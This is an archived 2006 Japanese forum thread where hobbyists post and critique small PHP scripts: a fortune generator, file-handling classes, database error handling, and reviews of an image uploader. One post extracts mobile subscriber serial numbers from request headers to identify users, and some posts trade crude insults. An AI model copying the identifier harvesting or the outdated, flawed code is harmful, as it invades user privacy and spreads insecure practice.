"大吉" => "残念、大吉を出すために運を使ってしまった",
"中吉" => "ラッキー、今日はいいことありますよ♪",
"小吉" => "小さな幸せ",
"吉" => "つまらん一日を…",
"凶" => "引き籠る");
shuffle($aryTitle);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ja">
<head>
<title>おみくじ</title>
</head>
<body>
<h1>おみくじ</h1>
<dl>
<dt><?php print($aryTitle[0]); ?></dt>
<dd><?php print($aryKuji[$aryTitle[0]]); ?></dd>
</dl>
</body>
</html>
0457nobodyさん
2006/01/21(土) 23:10:58ID:???ま、どうでもいいけどさ
0458nobodyさん
2006/01/22(日) 00:32:05ID:???0459nobodyさん
2006/01/22(日) 02:08:31ID:???俺なら添え字を乱数で生成するけど
0460nobodyさん
2006/01/22(日) 02:16:54ID:???0461作ってみたわけだが@動作確認済み
2006/01/22(日) 02:43:40ID:???需要ないけどね、このおみくじ…。
0462nobodyさん
2006/01/22(日) 08:45:02ID:???ここって初心者が書いたスクリプトもOKなんでしょ?
こういう雰囲気だと出しにくいよ。
0463nobodyさん
2006/01/22(日) 08:58:32ID:???どっちも歓迎。
まぁ叩かれても諦めずにやれば良い物が書けるようになるさ
0464nobodyさん
2006/01/22(日) 13:00:12ID:???『携帯固有番号対応ホスト抜き出し関数』
function Get_USER_HOST(){
$host = getenv("REMOTE_HOST");
$addr = getenv("REMOTE_ADDR");
if($host == "" || $host ==$addr){
$host = gethostbyaddr($addr);
}
if(ereg("docomo.ne.jp",$host)){
$serial = $_SERVER[HTTP_USER_AGENT];
$serial = explode("ser",$serial);$serial = $serial[1];
$serial = substr($serial, 0, 11);
}
if(ereg("ezweb.ne.jp",$host)){
$serial = $_SERVER[HTTP_X_UP_SUBNO];
$serial = str_replace(".ezweb.ne.jp","",$serial);
}
if(ereg("jp-[a-z].ne.jp",$host)){
$serial = $_SERVER[HTTP_USER_AGENT];
$serial = explode("SN",$serial);$serial = $serial[1];
$serial = substr($serial, 0, 11);
}
if($host == "p2.2ch.net"){
$serial = $_SERVER[HTTP_USER_AGENT];
$serial = explode("p2-client-ip: ",$serial);$serial = $serial[1];
$serial = explode(";",$serial);$serial = $serial[0];
}
$USER_HOST['host'] = $host;
$USER_HOST['serial'] = $serial;
return $USER_HOST;
}
0465nobodyさん
2006/01/22(日) 13:18:34ID:???0466nobodyさん
2006/01/22(日) 13:43:40ID:???0467nobodyさん
2006/01/22(日) 14:24:04ID:???0468nobodyさん
2006/01/22(日) 14:31:40ID:???普通はこう
配列のkeyに日本語よくないねー
<?php
header("Content-Type: text/html; charset=Shift_JIS");
$data = array(
array( '大吉','残念、大吉を出すために運を使ってしまった'),
array( '中吉','ラッキー、今日はいいことありますよ♪'),
array( '小吉','小さな幸せ'),
array( '吉','つまらん一日を…'),
array( '凶','引き籠る')
);
$num = rand( 0, count( $data)-1);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ja">
<head>
<title>おみくじ</title>
</head>
<body>
<h1>おみくじ</h1>
<dl>
<dt><?php echo $data[$num][0]; ?></dt>
<dd><?php echo $data[$num][1]; ?></dd>
</dl>
</body>
</html>
0470nobodyさん
2006/01/23(月) 14:44:05ID:???array(
array(
'fortune' => '大吉',
'comment' => '残念、大吉を出すために運を使ってしまった'
),
array(
...
),
...
);
ってやるな
0471nobodyさん
2006/01/23(月) 17:49:51ID:???<?php
header("Content-Type: text/html; charset=Shift_JIS");
$data = array(
array( '凶','引き籠る')
);
$num = rand( 0, count( $data)-1);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ja">
<head>
<title>おみくじ</title>
</head>
<body>
<h1>おみくじ</h1>
<dl>
<dt><?php echo $data[$num][0]; ?></dt>
<dd><?php echo $data[$num][1]; ?></dd>
</dl>
</body>
</html>
ってやるな
0472468
2006/01/23(月) 20:29:00ID:???コーディング量が増えただけ
>>471
ちょwwwかわってないww
むしろ、こういうのはタブとかコンマ区切りのテキストファイルとかでデータ作っとく方がいいよね
<?
/* テキストファイルex.txt
大吉,残念、大吉を出すために運を使ってしまった
中吉,ラッキー、今日はいいことありますよ♪
小吉,小さな幸せ
吉,つまらん一日を…
凶,引き籠る
*/
$tmp = file( 'ex.txt');
$val = '';
foreach( $tmp as $val){
$data[] = explode( ',', $val);
}
nl2br( print_r( $data));
?>
0473nobodyさん
2006/01/23(月) 20:37:48ID:???不要
0474470
2006/01/24(火) 09:31:49ID:???> むしろ、こういうのはタブとかコンマ区切りのテキストファイルとかでデータ作っとく方がいいよね
基本はそれ前提で考えてる
なんで連想配列にするかっていうと、二次元配列の添字だけ
見ても何の処理してるのか分かりにくいから
まぁこんだけのスクリプトならどうでもいいけど、分かりやすく
書く習慣はとても大事だと思っているんで
0475nobodyさん
2006/01/24(火) 12:34:45ID:???473
ttp://www.google.com/search?hl=ja&lr=lang_ja&ie=UTF-8&oe=UTF-8&q=%E5%A4%89%E6%95%B0%E3%81%AE%E5%88%9D%E6%9C%9F%E5%8C%96&num=50
0476nobodyさん
2006/01/24(火) 14:01:05ID:???配列に入っている値を順に取り出す処理でループの外の初期化になんの
意味があると思って Google へのリンクを貼ってるのだろう
0477nobodyさん
2006/01/24(火) 16:41:34ID:6HwgBAbKこのスクリプト欲し過ぎる
0478少佐 ◆tkyK4yl1H6
2006/01/24(火) 22:40:36ID:???似たようなのでよければ(´゚д゚`)
http://sv1.no-ip.org/mcs/
ソースはhttp://sv1.no-ip.org/download/mcs.zipです。
短時間で作ったので不完全だったらごめんなさい。
0480少佐 ◆tkyK4yl1H6
2006/01/24(火) 23:04:17ID:???どういたしまして過ぎます。
1カ所だけ修正したので、DLしなおしてもらえるとうれし過ぎます。
0482nobodyさん
2006/01/24(火) 23:32:13ID:???0483少佐 ◆tkyK4yl1H6
2006/01/25(水) 01:05:59ID:???ログの上限を超えた場合の自動削除で、ファイルを削除し忘れてますたorz
修正しときますた。
あと、>>80氏のより遙かにヘボいと思われます。
保守できないサイトの多いこと多いこと。
0484popo
2006/01/25(水) 07:39:44ID:???0485nobodyさん
2006/01/25(水) 09:18:32ID:???高性能なのか高機能なのかどっちだ?
どちらにせよ、機能的にはアクセス解析で何ができるかが肝となるわけだが。
0488nobodyさん
2006/01/25(水) 15:03:13ID:???強固なロック(環境に依存しない unix windows)
今日、昨日、全部
二重ログ(トラブル時自動復帰)
ログのバックアップ(上記の自動復帰の予備)
時間指定で連続カウントしない設定可能
画像、画像連結、GD、テキスト設定可能
桁数設定可能
javascript ssi img php それぞれの呼び出しに設定可能
こんな感じでどう?
0491少佐 ◆tkyK4yl1H6
2006/01/25(水) 18:01:09ID:???難しいというか、え?何のこと?というあれです。
そのようにしておきました。
ログデータの互換性が無くなったかもしれません。
.htaccessを追加しましたが、確認してないのでよくわかりません。
DLは同じURLからお願いします。
0493nobodyさん
2006/01/25(水) 22:21:32ID:???ggggggggggggggggggggggggggggggggggggggggggj
纏めサイト運営してるんでd
0495少佐 ◆tkyK4yl1H6
2006/01/26(木) 13:57:03ID:???適当にやったものに限って使ってもらえてうれしいです。
明日引っ越しするので、しばらく鯖の電源を切ることになります。
引っ越し先でネットが繋がったら、またよろしくお願いしますm(_ _)m
0496nobodyさん
2006/01/26(木) 17:02:00ID:???0497nobodyさん
2006/01/26(木) 17:48:31ID:???しかも、
>リアル引っ越し中です。そのうち復活する予定です
の文字。
少佐、つまりfc2へ入社すると暗に示しているんですね?
0498少佐 ◆tkyK4yl1H6
2006/01/26(木) 18:51:24ID:???じゃあ僕も全裸で新幹線に乗りますね。
これで偶然すれ違ってもお互いに一目瞭然で安心です。
>>497
僕はfc2ちゃいます('A`)
NotFoundじゃマズいかなぁと思ったので適当に手軽なWebスペースをレンタルしただけです('A`)
ということで、PCを梱包してきます。
0499nobodyさん
2006/01/26(木) 19:26:52ID:???0500nobodyさん
2006/01/26(木) 23:12:52ID:???0501nobodyさん
2006/01/26(木) 23:33:36ID:P4JZCK77もしよろしかったらご覧いただければ幸いです。
http://pharon.lolipop.jp/
0502nobodyさん
2006/01/27(金) 15:51:18ID:???0504503
2006/01/27(金) 19:16:05ID:???0505nobodyさん
2006/01/31(火) 15:03:45ID:???俺なんかfunctionすら使わないで掲示板(ぽいの)作ったこともあるよぅ。
だからオブジェクトとか言われてもピンとこない(´・ω・)
0506nobodyさん
2006/01/31(火) 16:03:46ID:???個人的に関数はパッと見て理解出来る数行にしときたいけど、2・3行の関数を大量に作ると見難くなるし何より名前が雑に・・英語か、英語力の無さが原因なのかァァァァァ
まぁ休日に趣味っぽい感じでやってるだけだから、そんなに気を使う必要はないけど
0507nobodyさん
2006/01/31(火) 16:59:18ID:???誰か簡単に説明してくれ
0508nobodyさん
2006/01/31(火) 20:58:26ID:???0509nobodyさん
2006/01/31(火) 21:35:57ID:???0512nobodyさん
2006/02/03(金) 07:41:33ID:???スス--ッ .|┃""ヽ、
.|┃゚ ▼)
.●..|┃゚Д゚) …少佐復活まだ?
_____|┃ ..|)
.|┃_,,ノ
_____|┃U_
0513nobodyさん
2006/02/07(火) 04:21:41ID:???private $filename = null;
private $fp = null;
const Read_Type = "r";
const Write_Type = "a";
public function __construct($fn) {
$this->filename = $fn;
}
private function File_Open($type) {
$this->fp = fopen($this->filename,$type)
flock($this->fp, LOCK_EX);
}
private function File_Close() {
fclose($this->fp);
}
public function File_Read() {
$this->File_Open(self::Read_Type);
$ret = fread($this->fp, filesize($this->filename));
$this->File_Close();
return $ret;
}
public function File_Write($value) {
$this->File_Open(self::Write_Type);
$ret = fwrite($this->fp, $value);
$this->File_Close();
return $ret;
}
}
0515nobodyさん
2006/02/07(火) 20:00:29ID:???0516nobodyさん
2006/02/08(水) 16:37:51ID:O7y2qCCzファイル操作なんだなこれ
<?
class File_Io {
var $filename = '';
var $fp = '';
var $Read_Type = "r";
var $Write_Type = "a";
function File_Io($fn) {
$this->filename = $fn;
}
function File_Open($type) {
$this->fp = fopen($this->filename,$type);
flock($this->fp, LOCK_EX);
}
function File_Close() {
fclose($this->fp);
}
function File_Read() {
$this->File_Open( $this->Read_Type);
$ret = fread($this->fp, filesize($this->filename));
$this->File_Close();
return $ret;
}
function File_Write($value) {
$this->File_Open( $this->Write_Type);
$ret = fwrite($this->fp, $value);
$this->File_Close();
return $ret;
}
}
?>
0517nobodyさん
2006/02/08(水) 18:10:45ID:???IOとかって「I」と「O」で別の単語だから、FileIOって書いたほうがいいんかんうぇ?
0518413
2006/02/08(水) 18:21:10ID:8f4tRzkYhttp://life.my.land.to/send_mail.zip
添付ファイルも使えるようになったよ。
0519nobodyさん
2006/02/08(水) 18:22:21ID:O7y2qCCzIOってそれぞれ何の意味があるの?
in,out?
0520nobodyさん
2006/02/08(水) 18:50:55ID:???stdioとiostreamのioと同じ意味だよ。
0522518
2006/02/08(水) 21:01:58ID:???http://life.my.land.to/src/send_mail.zip
0524nobodyさん
2006/02/08(水) 22:16:00ID:???File_Io->File_Write("filename");
とかやりたいってことなのね。
個人的には
fileIO->write("filename");
と極力記号など打ちたくない気もするけども。
0525nobodyさん
2006/02/08(水) 22:31:57ID:???これからOOPをはじめまつ
0527nobodyさん
2006/02/10(金) 14:00:56ID:???0530nobodyさん
2006/02/10(金) 17:06:10ID:???/usr/sbin/sendmail
せめてsendmailのパスくらいは指定出来るようにしようぜ。
他にも突っ込みたいところ結構あるが。
0533nobodyさん
2006/02/10(金) 17:32:16ID:???自己解決。
0537nobodyさん
2006/02/11(土) 15:48:57ID:???0538nobodyさん
2006/02/13(月) 10:20:05ID:???0539nobodyさん
2006/02/13(月) 11:38:37ID:???0541nobodyさん
2006/02/13(月) 13:32:47ID:???0542nobodyさん
2006/02/13(月) 15:23:56ID:???少佐のソース、upload_check.phpの150行目。
ImageCreateFromwbmp()って関数だけど、
これってWindowsのビットマップファイル用の関数じゃないから
.bmpの画像ファイル受け取っても正常に処理できるのかな?
たしかWBMPって「wireless bitmap」とかだった気がする。特殊端末向けの。
この関数にwindows系のBMPファイル与えたらどうなるのか試してないけどさ。
あと、そもそもアップロードされてきたファイルの拡張子を信頼する形で
ソースが書かれてるから、実際には違う形式のものとかをアップできてしまう気もする。
それから同じ処理を何度も書きすぎ。具体的には・・・
サムネイル(小)〜(大)の部分。200行近くあるけど、小も大もひとつに出来る。
それからimageCreateTrueColor()関数とImageCopyResampled()関数。
TrueColorじゃないGIF形式にも使ってるのが謎。上記二つはTrueColor向け関数。
TrueColorじゃないならimageCreate()、ImageCopyResized()あたりな気がする。
それからDB接続とかの基本的な部分はクラス化するなり関数化するなりして、
別ファイルにまとめてrequire_once()して使ったほうがいい。
文字数チェックや禁止語句チェックなんかも関数化とかして別ファイル行き。
これらはパラメータ変更するだけで何度も色んなソースで使えるから。
機能追加、修正のときにそのほうが見やすいし楽。1ファイルにしかないからそこを修正すればいい。
俺も大したことないからでかいこと言えないんだけど。
初期からこういうソースの書き方に慣れていると絶対苦労する。
でも彼はこうやって成果物を出しているから立派だと思う。
これから色々学んで成長していくのだろうから、生暖かく見守りたい。
前まで職場にいたPHP職人(経験3年以上?とかだったと思う)は、
こういうソースの書き方だったけど、ひどすぎてメンテとかできない、パフォーマンスもひどい。
時間と相談しつつ設計からやり直してどんどん書き直してるよ。
0545nobodyさん
2006/02/14(火) 06:16:12ID:???542ですけど、添削してもらうとか考えないでとりあえず造ったものを
みんなに見せたらいいんじゃないかな。
そういうスレだと思い込んでる俺がいる。
それに「100点満点のソースは実在しない」と思うよ。
とりあえず晒しとけば、アイデアはいいが設計やソースの書き方がアレだなーとか、
いい筋してるがもうひと頑張りだとかコメント付く気がする。
もしかしたらココこうしたほうがいいんじゃない?とか誰かが言ってくれるかもだし。
0546少佐 ◆tkyK4yl1H6
2006/02/14(火) 06:39:26ID:???汚くてごめんなさい自覚してますorz
>>542氏
まさにこれ、という感じです。
wbmpについては後から気づいたんですが、
ほとんど関数化とかしてないので、めんどくさくて残してました。
config.phpの設定ではbmpは削除しておいたと思います。
サムネイルについてはもう完全に自己流でルーズリーフに書きながら考えたので、
ものすごくグチャグチャだと思います。
頭が追いつかないので、「これをこうして、こっちをこうして…」という感じで、
ひとつひとつ完結させながらやってるのが問題だと思います。
逆にminilogの方は関数使いすぎで自分でもわけわかんなくなってきました。
>>512氏
今月から毎日18時間働いております('A`)
今は徹夜中の小休止ですorz
0547nobodyさん
2006/02/14(火) 06:45:08ID:???0548nobodyさん
2006/02/14(火) 07:41:01ID:???( ,_ノ` )y━・~~~ 少佐、動けばいいんだよ動けば
0549その1
2006/02/14(火) 11:26:45ID:O2fgq8yY長いので分割します。
------------------------------------
<?php
/**
* 特定のディレクトリ内のファイルの読み書きを行うクラスです.
*/
class file_manager {
/**
* ディレクトリを表す文字列です.
*/
var $dir;
/**
* 指定されたディレクトリ内のファイルを操作する新しい file_manager を構築します.
* 引数が省略された場合はカレントディレクトリ(./)を扱います.
*
* なお、指定されたディレクトリが見つからない場合は作成を試みます.
* 作成に失敗した場合は警告を発生させます.
*
* @param $dir 操作対象のディレクトリ. 相対パスまたは絶対パス. ただし末尾に '/' は含めない.
*/
function file_manager($dir = ''){
$this->dir = (0 < strlen($dir)) ? $dir : '.';
// 指定されたディレクトリが存在しない場合は作成を試みる.
if(!file_exists($this->dir)){
$success = @mkdir($this->dir);
if(!$success)
trigger_error('FILE_MANAGER_ERROR:('.$dir.')は利用することができません', E_USER_WARNING);
}
}
0550その2
2006/02/14(火) 11:28:38ID:O2fgq8yY* 指定されたファイルの中身を返します.
* ファイルが存在しない場合は NULL を返します.
*/
function read_file($filename){
$file = $this->dir.'/'.$filename;
$lines = @file($file);
if(!$lines) return NULL;
$str = '';
foreach($lines as $line){
$str .= $line;
}
return $str;
}
/**
* 指定されたファイルの中身を与えられた文字列で上書きします.
* ファイルが存在しない場合は新たに作成します.
*
* @param $filename ファイル名
* @param $contents ファイルに書き込むデータ
*/
function write_file($filename, $contents){
$file = $this->dir.'/'.$filename;
$fp = fopen($file, 'w');
fwrite($fp, $contents);
@chmod($file, 0666);
fclose($fp);
}
0551その3
2006/02/14(火) 11:29:52ID:O2fgq8yY* 指定されたファイルの名前を新しいファイル名に変更します.
*
* @param $oldfile リネーム対象のファイル名
* @param $newfile 対象のファイルの新しい名前
*/
function rename_file($oldfile, $newfile){
return rename($this->dir.'/'.$oldfile, $this->dir.'/'.$newfile);
}
/**
* 指定されたファイルを削除します.
*/
function delete_file($filename){
return unlink($this->dir.'/'.$filename);
}
/**
* 指定されたファイルが存在するかどうかを調べます.
* ファイルが存在する場合に TRUE を返します.
*/
function file_exists($filename){
return file_exists($this->dir.'/'.$filename);
}
}
?>
0552nobodyさん
2006/02/14(火) 14:21:08ID:???すごくいいと思う。
こういうのは無しなんだろうか
function read_file($filename){
$file = $this->dir.'/'.$filename;
$str = @file_get_contents($file);
if( $str) return $str;
else return NULL;
}
0553nobodyさん
2006/02/14(火) 14:45:56ID:???どうもです。
file_get_contents にすればもっとシンプルに出来たんですが、
PHPのバージョンが古いと対応してないので、
代替手段としてこういう実装にしました。
PHPを導入してるレンタルサーバーって、
自分の知っている限りではみんなバージョンが4系なんだけど、
その中でも4.1*だったり4.3*だったりバラバラなんですよね。
0554nobodyさん
2006/02/14(火) 19:34:08ID:?????$str?.=?$line;
}
これよりimplode使ったほうが速いよ
$str = implode('', $lines);
0555nobodyさん
2006/02/14(火) 19:37:24ID:???0556nobodyさん
2006/02/15(水) 08:33:21ID:???0557nobodyさん
2006/02/15(水) 10:12:28ID:???本来なら返り値が必要ない関数であっても、
処理がうまくいったら TRUE、失敗した場合は FALSE を返すみたいな実装にしたほうが、
エラー処理が簡単になる場合がある。ケースバイケースだけどね。例えば、
■before■
function hoge(){
first_process();
second_process();
third_process();
}
function first_process(){ /* 何か処理をする */ }
function second_process(){ /* 何か処理をする */ }
function third_process(){ /* 何か処理をする */ }
■after■
function hoge(){
return first_process() & second_process() & third_process();
}
function first_process(){ /* 何か処理をして、成功したら TRUE を返す */ }
function second_process(){ /* 何か処理をして、成功したら TRUE を返す */ }
function third_process(){ /* 何か処理をして、成功したら TRUE を返す */ }
0558nobodyさん
2006/02/15(水) 19:31:58ID:???function Auto_HyperLink_Tags($text, $target='_blank') {
if (!empty($text)) {
$search = "(((file|gopher|news|nntp|telnet|http|ftp|https|ftps|sftp)://)|(www\.))+(([a-zA-Z0-9\._-]+\.[a-zA-Z]{2,6})|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(/[a-zA-Z0-9\&%_\./-~-]*)?";
return ereg_replace( $search,"<a href=\"\\0\" target=\"".$target."\">\\0</a>", $text);
}else {
return FALSE;
}
}
0559ちんこ先生 ◆Qm364jaZpk
2006/02/16(木) 11:55:20ID:YzGNHh7Hお前がなにしてるかおしえてあげようか?w
つーか一番笑ったのはソースSJISかよwww
レベルひくwwwwwwwwwwwwwどんだけ低いの?
#-------------
@mysql_connect($db_host, $db_user, $db_password);
@mysql_select_db($db);
ここがmysqlにつないでるとこだが、普通こうかく
$conn =@mysql_connect($db_host, $db_user, $db_password) or die("MySQLの接続に失敗しました。");
@mysql_select_db($db, $conn) or die("DB選択時にエラーが発生しました。");
この2行だけでも、こうやってエラー処理をかくよw しかもなんでrequireに@つけてんの?w
超馬鹿じゃんwww どんだけ低レベルwwエラー処理もしてないwww
0562nobodyさん
2006/02/16(木) 12:48:58ID:???0563nobodyさん
2006/02/16(木) 13:03:24ID:???まずは自分の人格のエラー処理をコーディングしてらっしゃい
0564nobodyさん
2006/02/16(木) 13:20:58ID:???ありがd
&の使い方が解りませぬ
return (first_process() === true && second_process() === true && third_process() === true)
と等価ですか?
0565ちんこ先生 ◆Qm364jaZpk
2006/02/16(木) 13:29:18ID:YzGNHh7Hつーかお前ら少佐以下なんだろ?www死ねよ
0566ちんこ先生 ◆Qm364jaZpk
2006/02/16(木) 13:43:27ID:???なんだこれwww
0567nobodyさん
2006/02/16(木) 13:56:47ID:???↑
そろそろこの池沼をNGにぶち込むか
0568557
2006/02/16(木) 14:01:03ID:???間違えた。よく調べてみたら、& は PHP ではビット積の演算子だったわ。
C や Java と同じ感覚で書いたもんで・・・。
申し訳ない。 >>557 の & は && に置き換えてください。
意味としては、>>564 で合ってると思います。
ただし、この場合はもしも first_process() が FALSE を返した場合、
second_process() と third_process() を処理せずに終了します。
first_process() の結果いかんに関わらずに続きの関数を実行させたい場合は
function hoge(){
$success = TRUE;
$success &= first_process();
$success &= second_process();
$success &= third_process();
return $success;
}
みたいに書いたほうがいいかな。
0569ちんこ先生 ◆Qm364jaZpk
2006/02/16(木) 14:02:53ID:???なんも知らないくせに少佐非難してるやつよかマシだろ
0570ちんこ先生 ◆Qm364jaZpk
2006/02/16(木) 14:06:49ID:???初心者スレで書いたら?
0571nobodyさん
2006/02/16(木) 14:21:22ID:???0572nobodyさん
2006/02/16(木) 14:35:11ID:???> second_process() と third_process() を処理せずに終了します。
これは知らなかった。チューンできるんだー。
0573557
2006/02/16(木) 14:36:26ID:???条件反射的に Shift_JIS に反応するのはどうなんですかね?
確かに Shift_JIS はマルチバイト文字の中に0x7F以下のコードを含む場合があるから、
文字列や正規表現に日本語を含むようなスクリプトに Shift_JIS を採用すると危険な場合があるけど
逆に言えば、そういう危険性さえなければ Shift_JIS でも全く構わないということになる。
Windows付属のエディタで編集できるっていう強みもあるしね。(まぁ利点といえばそのぐらいしかないが)
あと、言わせてもらうとそのコードもめっちゃレベル低い。
そのエラー処理は、あくまでもシステム側の都合であって、ユーザー側の立場になってない。
もしもあんたが Java をやったら、きっと、コンパイルエラーを回避するためだけの
try 〜 catch とかやるんだろうな。
当然 catch の中身が空だったり適当な System.out.println だけだったり。
(Java 知らない人には訳の分からない話で申し訳ない)
ところで、error_reporting とか set_error_handler とか trigger_error とか、知らないの?
そういうのをフル活用すれば、
@mysql_connect($db_host, $db_user, $db_password);
@mysql_select_db($db);
だけでも全然アリなんだけど。
0575nobodyさん
2006/02/16(木) 18:24:09ID:???0576nobodyさん
2006/02/16(木) 18:33:35ID:???失業でもしたか?w
0577542
2006/02/16(木) 18:57:01ID:???俺が趣味で作って使ってるクラスの抜粋(一部改変)だけど。(PHP5系,MySQL4.1系)
@は使ってないよ。error_reporting = E_ALL、display_Errors = Off、log_errors = Onで、
全部エラー用ログファイルに書き出してる。ユーザー画面には簡単なエラーメッセージ出してるだけ。
エラー時の挙動は全部Db_Error()の中で書いてる。(中まで貼ると長いので↓には書いてない)
DB接続部分って普通こんな感じじゃない?正解はないけど。知識・技術共にレベル低くてごめん。
---------------------------------------------------------
private $err = true;
private $errmsg = null;
public function Db_Connect() {
$this->dbcon = mysql_connect('HOST', 'USER', 'PASSWORD');
if ( !$this->dbcon ) {
$this->err = false;
$this->errmsg = "DB接続エラー";
} else {
$this->dbname = 'DB_NAME';
//MySQL固有
if ( !mysql_select_db($this->dbname, $this->dbcon) ) {
$this->err = false;
$this->errmsg = "DB選択エラー";
} else {
//文字化け対策
$this->Db_Query("set names ujis");
}
}
//エラー画面へごー
if ( !$this->err ) {
$this->Db_Error();
}
}
----------------------------------------------------------
抜粋だから分かりづらくてすんません。あと、俺は少佐非難したつもりはないぞ。エールを送ったつもり。
0578nobodyさん
2006/02/16(木) 19:28:03ID:???切実に希望します。
くだらなそうだけど。
0579nobodyさん
2006/02/16(木) 21:40:03ID:???スキルアップを計るスレじゃないの?
0581少佐 ◆tkyK4yl1H6
2006/02/17(金) 03:10:06ID:???言い方はともかくとしてw
文字コードについても全然知らず、「なんとなく日本語ってsjisがよさそうじゃない?」みたいな感じで使ってました。
>>557氏の言われるようなことは露知らず。
(何がいいんでしょうか??時と場合による?)
mysql_connectとかもおっしゃる通りです。
requireに@がついてるのは特に意味は無いんですが、関数にはほぼすべて@をつけるクセがついてます。
特に害はないですよね…?たぶん。
こうして怒られながらも、参考になることをいろいろ教えてもらえるのはありがたいです。
0582nobodyさん
2006/02/17(金) 04:46:13ID:???. (。・_・) 少佐はやさしいのぅ
゚し-J゚
0583nobodyさん
2006/02/17(金) 05:09:16ID:???foreach(){
while(){
foreach(){}
foreach(){
foreach(){}
}
}
}
ま、いいか。。。
0584nobodyさん
2006/02/17(金) 07:41:14ID:???害?あるよ。エラー処理をしなくなる。
基本EUC-JPで国際化とか考えるならUTF8でって感じ。
一度、@を全部削除して、errot_reporting(E_ALL);してみれ。
多分、すごいことになるから。
もし、ならなかったら少佐は天災
0585nobodyさん
2006/02/17(金) 08:34:55ID:???0586nobodyさん
2006/02/17(金) 09:57:59ID:???「エラー処理をしない」というよりは、「エラーを通知しなくなる」と言ったほうが正しいかな。
例えば下のスクリプトを動かしてみると、エラー処理自体はきちんとしてくれるのが分かるかと。
<?php
function print_error($code, $error_message){
print($code.':'.$error_message);
}
function zero_divide(){
$x = 1 / 0;
}
set_error_handler('print_error');
@zero_divide();
?>
>>584 の言うとおり、error_reporting(E_ALL) にしておくのはすごくお勧めです。
見えないバグを発見できるし、デバッグの労力がグンと減るので。
逆に、本番で使う際には error_reporting(0) にしておかないとみっともないですが。
0587nobodyさん
2006/02/17(金) 11:26:17ID:???$this->dbcon = mysql_connect('HOST', 'USER', 'PASSWORD');
if ( !$this->dbcon ) {
$this->err = false;
$this->errmsg = "DB接続エラー";
俺は4使いだから5はよくしらないけど
@mysql_connect
しないと
$this->errmsgまでいかない気がする
あと
$this->errつーんだから
$this->err = TRUE;
のがよくなくね?
0588nobodyさん
2006/02/17(金) 12:12:24ID:???@なしでもエラー処理に入りますよ。
php.iniの設定の違いだと思います。
たぶんdisplay_errors = Onにされているのではないでしょうか。
あとerrの値に関しては、確かにそうかもしれません。
0589nobodyさん
2006/02/17(金) 12:20:05ID:???0590nobodyさん
2006/02/17(金) 14:12:43ID:???設定で変えれるのかな
0591nobodyさん
2006/02/17(金) 16:20:32ID:???0593nobodyさん
2006/02/17(金) 19:20:50ID:???自演して株を上げようと操作しているように見える。
まぁ、物は作ってるから、PHPバージョンのKENTってとこか。
0594nobodyさん
2006/02/17(金) 20:19:04ID:???てんめぇ オレの少佐を自演扱いしたら殺すぞ
少佐の人気に嫉妬してる暇があったら、さっさとてめぇのブツ晒せやボケ
この役立たずめが!
0595nobodyさん
2006/02/17(金) 20:31:23ID:???語ることだけはできるの
0597nobodyさん
2006/02/17(金) 21:08:59ID:zk5HwoZg../⌒ ヽ
( ヽ
ヽ ノ ヽ
ゞ 、 丶
ヽ ノ \ _ _,__ -' ─ ─ ,、 _
|\_ ノ\ , '´/_ヽ_ヽv /: / ヽ`、
/⌒\ 丶 / /  ̄ヽ-、___ ,-r'  ̄ ̄ ヽ.
│ \ 人 |/⌒ヽ | ! ヽーーーーー | :::::|
/ \ / | | ! ! r ひ 、. ! :::::::|
( \ ヽ / / | ! ! ノ:::\. ! ::::::::|
( | / ) | ! (::::T::::: ! ::::::::::|
ヽ \ ヾ 丿(( ̄)/ 'i:;;; `'ー--‐‐' ::::::;;;:ノ
\ ヾ丿 ヽソ `''─ _ _. ─''´
ヽ ノ _ __/  ̄ ̄ ̄
0598名無しの報告
2006/02/17(金) 21:55:46ID:Vjg5tdKBhttp://qb5.2ch.net/test/read.cgi/sec2chd/1138867175/268
0599名無しの報告
2006/02/17(金) 22:10:48ID:???http://www.doblog.com/weblog/myblog/22179
■2ちゃんねる被害者ストレス発散板■
http://r.netabbs.info/uxgmswe/index.html
■2ch裏の歴史と噂話と真相
http://www.geocities.jp/tokumei_tokumei70/top_index.html
■削除要請@2ch掲示板@スレッド一覧
http://qb5.2ch.net/saku2ch/subback.html
■犯罪者生産装置 「 2チャンネル 」■
http://www.geocities.jp/ariradne/2ch.html
■被害者の声1〜2■
http://sak2-2.tok2.com/home/zhpkfmh/newpage6.htm
■元2chスタッフ玄さんの日々是好日から■
http://jsimin.at.infoseek.co.jp/opinion/
■アンチ2chリポーター・AICO■
http://arvel7aico.btblog.jp/
■2ch被害者達の叫び声■
http://r.netabbs.info/test/read.cgi/uxgmswe/1111504554/
■2ちゃんねらー屁理屈(暴言)集■
http://r.netabbs.info/test/read.cgi/uxgmswe/1109255122/
■2ch信者(煽り屋)への返答例■
http://r.netabbs.info/test/read.cgi/uxgmswe/1121652904/
■2ちゃんねる...その正体■
http://www.doblog.com/weblog/myblog/61447
0601nobodyさん
2006/02/18(土) 01:49:28ID:???0602少佐 ◆tkyK4yl1H6
2006/02/18(土) 02:58:11ID:???皆さんの言われるように、僕はPHPについての知識なんてミジンコほどしかありませんので、
>>594氏のように言ってもらえるのはとてもありがたい反面、重荷にもなります。
#このスレで自演したことは無いのにそう言われたりw
僕はただの初心者ですので、「あーまたくだらんもん作ってやがるなぁ」と思ってもらえれば満足です。
しばらくは返答を求められない限り傍観者になりますので、マターリお願いします。
#応援してくれた方々、ありがとー。
0603nobodyさん
2006/02/18(土) 03:22:10ID:???0604nobodyさん
2006/02/18(土) 03:41:21ID:???0605nobodyさん
2006/02/18(土) 08:55:58ID:???0606nobodyさん
2006/02/18(土) 12:00:02ID:???しょぼいところも似てる
0608nobodyさん
2006/02/18(土) 18:34:46ID:???0609nobodyさん
2006/02/18(土) 23:50:56ID:???0610nobodyさん
2006/02/19(日) 13:31:56ID:???0612nobodyさん
2006/02/19(日) 14:18:28ID:???0613nobodyさん
2006/02/19(日) 14:29:54ID:???0614nobodyさん
2006/02/19(日) 15:26:57ID:???文句言うぐらいなら書いて見せろ。
0615nobodyさん
2006/02/19(日) 16:34:53ID:???0616nobodyさん
2006/02/19(日) 16:44:30ID:???需要のありそうなものを見せてくれ
0620nobodyさん
2006/02/19(日) 17:27:37ID:???0621nobodyさん
2006/02/19(日) 17:29:28ID:???0622nobodyさん
